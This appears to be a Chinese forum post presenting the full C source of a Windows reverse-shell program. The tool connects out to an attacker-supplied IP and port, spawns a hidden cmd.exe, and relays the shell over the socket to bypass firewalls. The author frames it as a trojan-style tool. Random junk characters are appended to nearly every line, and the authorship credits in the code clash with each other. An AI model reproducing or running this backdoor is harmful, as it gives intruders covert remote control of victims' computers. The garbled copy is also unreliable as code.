这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P$OUi!"
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/* ============================== <h@]Ri
Rebound port in Windows NT SO_>c+Dw
By wind,2006/7 s4bv;W
===============================*/ 5z Kqb
#include ]Jn2Ra"j
#include JD*8@N
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#pragma comment(lib,"wsock32.lib") 7 >bMzdH
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void OutputShell(); +>}o;`hPe
SOCKET sClient; R$d7\nBG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; P#;Th8k{K2
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void main(int argc,char **argv) y42#n
{ Du!._
WSADATA stWsaData; %Kl(>{N
int nRet; /[{auUxSX
SOCKADDR_IN stSaiClient,stSaiServer; +GeWg`
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if(argc != 3) 'Wp@b678
{ \0&SI1Yp
printf("Useage:\n\rRebound DestIP DestPort\n"); ?4[NNL
return; RB;BQoGX
} o(fy d)t
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WSAStartup(MAKEWORD(2,2),&stWsaData); PIxjM>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [0!{_E)<
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stSaiClient.sin_family = AF_INET; .&|L|q}
stSaiClient.sin_port = htons(0); (NaK3_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "V}qf3qU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v2>Z^
{ #&BS
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printf("Bind Socket Failed!\n"); niz 'b]] +
return; x.UaQ |F
} #xp(B5
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stSaiServer.sin_family = AF_INET; g "*;nHI D
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F#|Z# Mu
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hB>^'6h+
{ W;TJenv
printf("Connect Error!"); H1&RI4XC
return; ?1w"IjUS
} ag;dc
OutputShell(); X 8R1a?
} pkk4h2Ah
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void OutputShell() (a#pvEY
{ Yt{&rPv,
char szBuff[1024]; Y;_T=L
SECURITY_ATTRIBUTES stSecurityAttributes; -Qb0:]sV#
OSVERSIONINFO stOsversionInfo; J\A8qh8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /b%Q[
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STARTUPINFO stStartupInfo; I`^Y Abnb
char *szShell; X"<|Z]w
PROCESS_INFORMATION stProcessInformation; @GeHWv
unsigned long lBytesRead; :1_mfX
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2Y+:,ud\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >rf5)Y~f
stSecurityAttributes.lpSecurityDescriptor = 0; wW5Yw
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stSecurityAttributes.bInheritHandle = TRUE; i/$SN-5}1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5[R?iSGL1
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l$M +.GB<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ab4LTF|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !y*oF{RZ
stStartupInfo.wShowWindow = SW_HIDE; U^ ?=
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stStartupInfo.hStdInput = hReadPipe; J?D\$u:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1;&T^Gdj
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GetVersionEx(&stOsversionInfo); iN)af5)[^
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switch(stOsversionInfo.dwPlatformId) c-*2dV[@
{ 6+PGwCS
case 1: (h,Ws-O
szShell = "command.com"; <L&eh&4c
break; F,pCR7o>
default: ;k}H(QI
szShell = "cmd.exe"; 88o:NJ}_
break; c<jB6|.=2
} /gw Cwyo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *U_oao
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send(sClient,szMsg,77,0); ( 3;`bvYH"
while(1) P']Y(
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{ 2C1+_IL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); UvBnf+,
if(lBytesRead) Pfan7fq+
{ 8R4qU!M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Sk=N [hwU
send(sClient,szBuff,lBytesRead,0); it,w^VU_]
} jdlG#j-\
else mHs:t{q
{ &yLc1#H
lBytesRead=recv(sClient,szBuff,1024,0); O?E6xc<8
if(lBytesRead<=0) break; TSQhX~RN
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z*eoA
} 6K 4+0xXv
} YoAg
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return; RIjM(P
}